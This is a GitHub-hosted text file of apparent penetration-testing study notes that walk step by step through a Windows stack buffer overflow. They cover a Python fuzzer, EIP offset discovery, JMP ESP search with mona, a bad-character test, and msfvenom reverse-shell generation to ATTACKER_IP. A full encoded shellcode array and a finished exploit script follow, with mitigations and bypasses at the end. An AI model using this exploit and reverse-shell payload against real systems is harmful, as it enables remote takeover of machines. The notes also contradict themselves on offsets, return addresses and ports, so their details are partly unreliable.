-
Notifications
You must be signed in to change notification settings - Fork 19
/
bo.txt
242 lines (201 loc) · 14.7 KB
/
bo.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
*Buffers overflow*
Identification
First step is to identify the vulnerability. You can debug the app and fuzz it with larger strings and identify the approximate length that causes the crash. We can script it as follows:
*import socket
# Create an array of buffers, from 10 to 2000, with increments of 20.
counter = 100
fuzz_strings = ["A"]
while len(fuzz_strings) <= 30:
fuzz_strings.append("A" * counter)
counter = counter + 200
for fuzz in fuzz_strings:
print "Fuzzing with %s bytes" % len(fuzz)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect(('192.168.0.9', 80))
s.send('GET ' + fuzz + '\r\n\r\n' )
print s.recv(1024)
s.close()*
We run the script and find that the app crashes when sending a string **2700** long, so we know that the buffer is somewhere between **2500** and **2700**.
Finding EIP
Second step is to find the exact size of the buffer before the EIP register. We can achieve this by generating a string with unique sequence of characters and use the debugger to find the value that overwrites the EIP register. We create the string as follows:
*$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2700*
We add the string to our script:
*import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer='STRING'
try:
print "\nSending evil buffer..."
s.connect(('192.168.0.9', 80))
s.send('GET ' + buffer + '\r\n\r\n')
print s.recv(1024)
print "\nDone!."
except:
print "Could not connect"*
Send the payload and find the value of EIP, and find the exact length needed with:
*$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l STRING_LENGTH(2700) -q EIP_VALUE(37694236)
[*] Exact match at offset 2606*
We know that the buffer size before the EIP is 2606.
Finding a JMP ESP
Our objective is to inject a shellcode in beginning of the stack, replace the **EIP** with the address of the **ESP** and get the execution flow redirected to our shellcode. The problem is that the amount of data loaded in the stack changes at every execution, so we can not predict the value of the ESP address. We can work around this by finding a JMP ESP instruction in memory from a module that has no **DES** or **ASLR**, and change our EIP to point to that address.
To find the modules that don't have ASLR and DES, you can run within the ImmunityDebugger:
*!mona modules*
Now, you can see how the asm **JMP_ESP** looks like in machine code by running:
*# /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > jmp esp
00000000 FFE4 jmp esp
nasm >*
Now you can find **FFE4** with:
*!mona find -s '\xff\xe4' -m module.dll*
It will find some addrs such as **0x5f4a358f**, since x86 is little endian, to have it properly read from the stack we need to encode it as ** \x8f\x35\x4a\x5f**.
We will add our shellcode after the EIP JMP instruction (of about 400 bytes), so our payload will look like:
*Padding + JMP ESP + shellcode*
Using the previous buffer size and address:
*'A' * 2606 + \x8f\x35\x4a\x5f + 'C' * 400*
So, the new exploit looks like this:
*import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = 'A' * 2606 + \x8f\x35\x4a\x5f + 'C' * 400
try:
print "\nSending evil buffer..."
s.connect(('192.168.0.9', 80))
s.send('GET ' + buffer + '\r\n\r\n')
print s.recv(1024)
print "\nDone!."
except:
print "Could not connect"*
We will set a breakpoint to that memory location **5f4a358f** and run the new exploit. We go to CPU view, right click, go to, expression and the address. Press F2 in ImmunityDebugger to set the breakpoint, the debugger should pause when sending the payload, and stepping into the next instruction (F7) should jump to a the top of the stack, where there should be 400 C. If there are less 'C', then the input has been truncated and you will probably need a bigger buffer to fit your shellcode.
Finding bad characters
Next step is to generate a shellcode. Before doing that, we need to know what characters the application allows. We will send a buffer that contains all the ASCII characters:
*import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = "A" * 2606 + "B" * 4 + badchars
try:
print "\nSending evil buffer..."
s.connect(('192.168.0.10', 110))
s.send('GET ' + buffer + '\r\n\r\n')
print s.recv(1024)
s.close()
print "\nDone!"
except:
print "Could not connect"*
We run it, right click in the ESP address, and follow in dump to find potential bad characters that the application truncates. We should see the full ASCII character space. Some characters are more likely to be truncated (i.e. **0x00** as it is the end of string delimiter in C. In Pop3, new line char **0xA** as it is the command separator, etc..).
So we know how much padding we need to add to the stack to overwrite the EIP, we know an address that will get the execution flow redirected to the start of the stack, we just need to create a shellcode.
Injecting a shellcode
First step, is to generate the shellcode. You can list all available payloads in metasploit:
*$ msfpayload -l*
Generate a reverse shell shellcode.
*$ msfpayload windows/shell_reverse_tcp LHOST=192.168.0.10 LPORT=443 -f c*
The payload will contain illegal characters, you can filter those out using *msfencode*:
*$ msfpayload windows/shell_reverse_tcp LHOST=192.168.0.10 LPORT=443 R | msfencode -b "\x00\x0a\x0d"*
Generic windows reverse shell:
*$ msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=443 -f c -e x86/shikata_ga_nai -b "\x00\x0a\x0d"*
In the end, you are going to have a shellcode as the following one:
*root@kali:~/oscp/bo_miniserver# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.4 LPORT=443 -f c -e x86/shikata_ga_nai -b "\x00\x0d"
Final size of c file: 1500 bytes
unsigned char buf[] =
"\xbf\x09\x50\xa4\x04\xdb\xd3\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"
"\x52\x31\x7e\x12\x83\xc6\x04\x03\x77\x5e\x46\xf1\x7b\xb6\x04"
"\xfa\x83\x47\x69\x72\x66\x76\xa9\xe0\xe3\x29\x19\x62\xa1\xc5"
"\xd2\x26\x51\x5d\x96\xee\x56\xd6\x1d\xc9\x59\xe7\x0e\x29\xf8"
"\x6b\x4d\x7e\xda\x52\x9e\x73\x1b\x92\xc3\x7e\x49\x4b\x8f\x2d"
"\x7d\xf8\xc5\xed\xf6\xb2\xc8\x75\xeb\x03\xea\x54\xba\x18\xb5"
"\x76\x3d\xcc\xcd\x3e\x25\x11\xeb\x89\xde\xe1\x87\x0b\x36\x38"
"\x67\xa7\x77\xf4\x9a\xb9\xb0\x33\x45\xcc\xc8\x47\xf8\xd7\x0f"
"\x35\x26\x5d\x8b\x9d\xad\xc5\x77\x1f\x61\x93\xfc\x13\xce\xd7"
"\x5a\x30\xd1\x34\xd1\x4c\x5a\xbb\x35\xc5\x18\x98\x91\x8d\xfb"
"\x81\x80\x6b\xad\xbe\xd2\xd3\x12\x1b\x99\xfe\x47\x16\xc0\x96"
"\xa4\x1b\xfa\x66\xa3\x2c\x89\x54\x6c\x87\x05\xd5\xe5\x01\xd2"
"\x1a\xdc\xf6\x4c\xe5\xdf\x06\x45\x22\x8b\x56\xfd\x83\xb4\x3c"
"\xfd\x2c\x61\x92\xad\x82\xda\x53\x1d\x63\x8b\x3b\x77\x6c\xf4"
"\x5c\x78\xa6\x9d\xf7\x83\x21\x62\xaf\x8b\xb5\x0a\xb2\x8b\xb4"
"\x71\x3b\x6d\xdc\x95\x6a\x26\x49\x0f\x37\xbc\xe8\xd0\xed\xb9"
"\x2b\x5a\x02\x3e\xe5\xab\x6f\x2c\x92\x5b\x3a\x0e\x35\x63\x90"
"\x26\xd9\xf6\x7f\xb6\x94\xea\xd7\xe1\xf1\xdd\x21\x67\xec\x44"
"\x98\x95\xed\x11\xe3\x1d\x2a\xe2\xea\x9c\xbf\x5e\xc9\x8e\x79"
"\x5e\x55\xfa\xd5\x09\x03\x54\x90\xe3\xe5\x0e\x4a\x5f\xac\xc6"
"\x0b\x93\x6f\x90\x13\xfe\x19\x7c\xa5\x57\x5c\x83\x0a\x30\x68"
"\xfc\x76\xa0\x97\xd7\x32\xd0\xdd\x75\x12\x79\xb8\xec\x26\xe4"
"\x3b\xdb\x65\x11\xb8\xe9\x15\xe6\xa0\x98\x10\xa2\x66\x71\x69"
"\xbb\x02\x75\xde\xbc\x06";*
The shellcode needs to be decoded in memory, which means we need extra space in the stack. We can achieve this by adding some NOPs before the shellcode, so our buffer looks like this:
*"A"*2606 + "\x8f\x35\x4a\x5f" + "\x90" * 8 + shellcode*
We add the shellcode to the previous Poc:
*import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shellcode = (
"\xbf\x09\x50\xa4\x04\xdb\xd3\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"
"\x52\x31\x7e\x12\x83\xc6\x04\x03\x77\x5e\x46\xf1\x7b\xb6\x04"
"\xfa\x83\x47\x69\x72\x66\x76\xa9\xe0\xe3\x29\x19\x62\xa1\xc5"
"\xd2\x26\x51\x5d\x96\xee\x56\xd6\x1d\xc9\x59\xe7\x0e\x29\xf8"
"\x6b\x4d\x7e\xda\x52\x9e\x73\x1b\x92\xc3\x7e\x49\x4b\x8f\x2d"
"\x7d\xf8\xc5\xed\xf6\xb2\xc8\x75\xeb\x03\xea\x54\xba\x18\xb5"
"\x76\x3d\xcc\xcd\x3e\x25\x11\xeb\x89\xde\xe1\x87\x0b\x36\x38"
"\x67\xa7\x77\xf4\x9a\xb9\xb0\x33\x45\xcc\xc8\x47\xf8\xd7\x0f"
"\x35\x26\x5d\x8b\x9d\xad\xc5\x77\x1f\x61\x93\xfc\x13\xce\xd7"
"\x5a\x30\xd1\x34\xd1\x4c\x5a\xbb\x35\xc5\x18\x98\x91\x8d\xfb"
"\x81\x80\x6b\xad\xbe\xd2\xd3\x12\x1b\x99\xfe\x47\x16\xc0\x96"
"\xa4\x1b\xfa\x66\xa3\x2c\x89\x54\x6c\x87\x05\xd5\xe5\x01\xd2"
"\x1a\xdc\xf6\x4c\xe5\xdf\x06\x45\x22\x8b\x56\xfd\x83\xb4\x3c"
"\xfd\x2c\x61\x92\xad\x82\xda\x53\x1d\x63\x8b\x3b\x77\x6c\xf4"
"\x5c\x78\xa6\x9d\xf7\x83\x21\x62\xaf\x8b\xb5\x0a\xb2\x8b\xb4"
"\x71\x3b\x6d\xdc\x95\x6a\x26\x49\x0f\x37\xbc\xe8\xd0\xed\xb9"
"\x2b\x5a\x02\x3e\xe5\xab\x6f\x2c\x92\x5b\x3a\x0e\x35\x63\x90"
"\x26\xd9\xf6\x7f\xb6\x94\xea\xd7\xe1\xf1\xdd\x21\x67\xec\x44"
"\x98\x95\xed\x11\xe3\x1d\x2a\xe2\xea\x9c\xbf\x5e\xc9\x8e\x79"
"\x5e\x55\xfa\xd5\x09\x03\x54\x90\xe3\xe5\x0e\x4a\x5f\xac\xc6"
"\x0b\x93\x6f\x90\x13\xfe\x19\x7c\xa5\x57\x5c\x83\x0a\x30\x68"
"\xfc\x76\xa0\x97\xd7\x32\xd0\xdd\x75\x12\x79\xb8\xec\x26\xe4"
"\x3b\xdb\x65\x11\xb8\xe9\x15\xe6\xa0\x98\x10\xa2\x66\x71\x69"
"\xbb\x02\x75\xde\xbc\x06"
)
buffer = "A" * 1787 + "\x7E\x6E\xEF\x77" + "\x90" * 8 + shellcode
try:
print "\nSending evil buffer..."
s.connect(('192.168.0.9', 80))
s.send('GET ' + buffer + '\r\n\r\n')
print s.recv(1024)
print "\nDone!."
except:
print "Could not connect"*
We run:
*$ nc -lvp 443*
We should get a reverse shell, we can debug the previous memory address to identify potential problems.
MsfPayloads
staged payload is send in two parts to the victim. The first part is a small primary payload that do that the victim machine connect to the attacker machine and later the attack machine sends the second part of the payload. It is useful when the buffer has not a big length. (eg. linux/x64/shell/reverse_tcp)
Non-staged (linux/x64/shell_reverse_tcp), larger but full shell.
Countermeasures
**Code signing** executable page of memory is signed, and instructions executed only if the signature is correct.
**SEHOP** checks the validity of a thread’s exception handler list before allowing any to be called.
**Pointer encoding** Function pointers can be encoded (using XOR or other means) within Microsoft Visual Studio and GCC. If encoded pointers are overwritten without applying the correct XOR operation first, they cause a program crash.
**Stack canaries** Compilers including Microsoft Visual Studio, GCC, and LLVM Clang place canaries on the stack before important values (e.g., saved eip and function pointers on the stack). The value of the canary is checked before the function returns; if it has been modified, the program crashes.
**Heap protection** Sanity checking within heap management code. These improvements protect against double free and heap overflows resulting in control structures being overwritten.
**Relocation read-only (RELRO)** The GOT, destructors, and constructors entries within the data segment can be protected through instructing the GCC linker to resolve all dynamically linked functions at runtime, and marking the entries read-only.
**Format string protection** Most compilers provide protection against format string attacks.
**Data execution prevention (DEP)** is used to mark writable areas of memory, including the stack and the heap, as non-executable. CPU can set a bit NX (no-excutable) to portions of the stack.
**Address space layout randomization (ASLR)** makes it difficult for an attacker to commandeer logical program flow; however, implementation flaws exist, and some libraries are compiled without ASLR support.
**Bypassing DEP** DEP prevents the execution of arbitrary instructions from writable areas of memory. As such, you must identify and borrow useful instructions from the executable text segment to achieve your goals. The challenge is one of identifying sequences of useful instructions that can be used to form return-oriented programming (ROP) chains. It involves looking for snippets of code called ROP gatgets within the legitimate modules of the application that execute some interesting instructions and return the execution flow. For example, if the first task of the exploit is to pop EAX we will look for a pop eax; ret in the module and we will replace EIP with its address. We can chain multiple gadgets to write an exploit. The goal is to find a memory protection API such as VirtualProtect and mark the stack as executable and then the JMP ESP. The gadgets need to be in a module that does not support ASLR and DEP.
In order to prevent this, ASLR was developed. ASLR randomizes at runtime/boot time the addresses of the structures and modules to make it difficult to guess the location of ROP gadgets.
There are a few ways to **bypass ASLR**:
**Direct RET overwrite**: Often processes with ASLR will still load non-ASLR modules, allowing you to just run your shellcode via a jmp esp.
**Partial EIP overwrite**: Only overwrite part of EIP, or use a reliable information disclosure in the stack to find what the real EIP should be, then use it to calculate your target. We still need a non-ASLR module for this though.
**NOP spray**: Create a big block of NOPs to increase chance of jump landing on legit memory. Difficult, but possible even when all modules are ASLR-enabled. Won't work if DEP is switched on though.
**Bruteforce**: If you can try an exploit with a vulnerability that doesn't make the program crash, you can bruteforce 256 different target addresses until it works.
**Structured Exception Handling (SEH)** Is the normal exception handling (try/catch blocks). Up to windows XP the handlers used to be registered in the stack and an attacker could overwrite them.